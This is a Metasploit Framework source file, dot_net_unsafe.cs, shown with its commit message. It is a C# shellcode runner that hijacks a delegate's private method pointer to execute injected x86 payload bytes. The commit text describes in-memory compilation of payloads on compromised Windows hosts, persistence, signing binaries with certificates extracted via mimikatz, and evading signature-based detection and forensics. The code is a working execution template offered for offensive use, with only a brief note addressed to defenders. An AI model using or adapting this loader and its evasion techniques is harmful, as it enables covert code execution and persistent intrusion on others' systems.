metasploit-framework/external/source/psh_exe/dot_net_unsafe.cs

37 lines
1.1 KiB
C#
Raw Normal View History

Initial import of .NET compiler and persistence Add Exploit::Powershell::DotNet namespace with compiler and runtime elevator. Add compiler modules for payloads and custom .NET code/blocks. ============== Powershell-based persistence module to compile .NET templates with MSF payloads into binaries which persist on host. Templates by @hostess (way back in 2012). C# templates for simple binaries and a service executable with its own install wrapper. ============== Generic .NET compiler post module Compiles .NET source code to binary on compromised hosts. Useful for home-grown APT deployment, decoy creation, and other misdirection or collection activities. Using mimikatz (kiwi), one can also extract host-resident certs and use them to sign the generated binary, thus creating a locally trusted exe which helps with certain defensive measures. ============== Concept: Microsoft has graciously included a compiler in every modern version of Windows. Although executables which can be easily invoked by the user may not be present on all hosts, the shared runtime of .NET and Powershell exposes this functionality to all users with access to Powershell. This commit provides a way to execute the compiler entirely in memory, seeking to avoid disk access and the associated forensic and defensive measures. Resulting .NET assemblies can be run from memory, or written to disk (with the option of signing them using a pfx cert on the host). Two basic modules are provided to showcase the functionality and execution pipeline. Usage notes: Binaries generated this way are dynamic by nature and avoid sig based detection. Heuristics, sandboxing, and other isolation mechanisms must be defeated by the user for now. Play with compiler options, included libraries, and runtime environments for maximum entropy before you hit the temmplates. Defenders should watch for: Using this in conjunction with WMI/PS remoting or other MSFT native distributed execution mechanism can bring malware labs to their knees with properly crafted templates. The powershell code to generate the binaries also provides a convenient method to leave behind complex trojans which are not yet in binary form, nor will they be until execution (which can occur strictly in memory avoiding disk access for the final product). ============== On responsible disclosure: I've received some heat over the years for prior work in this arena. Everything here is already public, and has been in closed PRs in the R7 repo for years. The bad guys have had this for a while (they do their homework religiously), defenders need to be made aware of this approach and prepare themselves to deal with it.
2015-05-21 04:46:00 +00:00
using System;
using System.Reflection;
namespace Shellcode
{
class MainClass
{
public delegate uint Ret1ArgDelegate(uint arg1);
static uint PlaceHolder1(uint arg1) { return 0; }
unsafe static void Main(string[] args)
{
string shellcode = "MSF_PAYLOAD_SPACE";
byte[] asmBytes = new byte[shellcode.Length];
for (int i = 0; i < shellcode.Length; i++)
{
asmBytes[i] = Convert.ToByte(shellcode[i]);
}
fixed(byte* startAddress = &asmBytes[0]) // Take the address of our x86 code
{
// Get the FieldInfo for "_methodPtr"
Type delType = typeof(Delegate);
FieldInfo _methodPtr = delType.GetField("_methodPtr", BindingFlags.NonPublic | BindingFlags.Instance);
// Set our delegate to our x86 code
Ret1ArgDelegate del = new Ret1ArgDelegate(PlaceHolder1);
_methodPtr.SetValue(del, (IntPtr)startAddress);
// Enjoy
uint n = (uint)0xdecafbad;
n = del(n);
Console.WriteLine("{0:x}", n);
}
}
}
}